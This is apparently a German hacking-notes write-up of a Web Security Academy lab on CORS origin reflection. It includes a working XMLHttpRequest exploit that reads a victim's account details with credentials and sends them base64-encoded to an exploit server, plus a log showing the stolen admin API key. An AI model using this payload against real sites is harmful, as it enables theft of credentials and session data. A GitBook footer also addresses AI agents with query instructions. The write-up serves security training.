> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cors/cors-basic-origin-reflection.md).

# CORS: einfache Origin-Reflection

### CORS-Schwachstelle mit einfacher Origin-Reflexion

Verwendung einer übermäßig permissiven CORS-Konfiguration (der Server vertraut jeder Origin), um den API-Schlüssel vom Administrator über eine Cross-Origin-Anfrage mit abzurufen `Anmeldedaten` und die Antwort an unseren Exploit-Server zu senden. Die Übung ist gelöst, wenn der API-Administrator-Schlüssel an den Exploit-Server übermittelt wurde.

<figure><img src="/files/606133c0daa4b55919acf6748473564aeba7c2eb" alt=""><figcaption></figcaption></figure>

* Anmeldedaten zum Verbinden bereitgestellt: `wiener:peter`.
* Der Code auf der Seitenebene liest den API-Schlüssel von `/accountDetails` und zeigt an:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/ad7335a92111586a9fde62f531f1599d558f22b1" alt=""><figcaption></figcaption></figure>

Die Header weisen darauf hin `Access-Control-Allow-Credentials: true` (der Server akzeptiert Anfragen mit Cookies/Credentials).

<figure><img src="/files/329709f78075838989784ff0e1bf50e03a78fe55" alt=""><figcaption></figcaption></figure>

* Durch Testen einer Anfrage mit dem `Origin: jord4n.pro` Header wird die Antwort zurückgegeben (die reflektierte Origin wird akzeptiert).

```javascript
Origin: jord4n.pro
```

* Der Server spiegelt/erlaubt die gesendete Origin, sodass eine vom Angreifer kontrollierte Seite ein `XMLHttpRequest` oder `fetch` zu `/accountDetails` unter Einbeziehung der Cookies des Opfers (`withCredentials = true`) durchführen und die JSON-Antwort mit dem API-Schlüssel auslesen kann.

<figure><img src="/files/9a596736c60e979ad30e11d57f937664dca32064" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/1b2837ad7cfebb74a70d1365349fc1acd0412f68" alt="" width="483"><figcaption></figcaption></figure>

Sobald die Antwort gelesen wurde, kann sie zur Auswertung an den Server übertragen werden (z. B. durch Base64-Kodierung).

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/836db8ca6d85e880b84a25fb460861b7bd8f2e28" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Opfer) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

Der betreibende Server erhielt eine GET-Anfrage mit der kodierten Antwort, zum Beispiel:

<figure><img src="/files/28554dbf61241a0a7f9dc0a36d95a2f2b585f6b6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
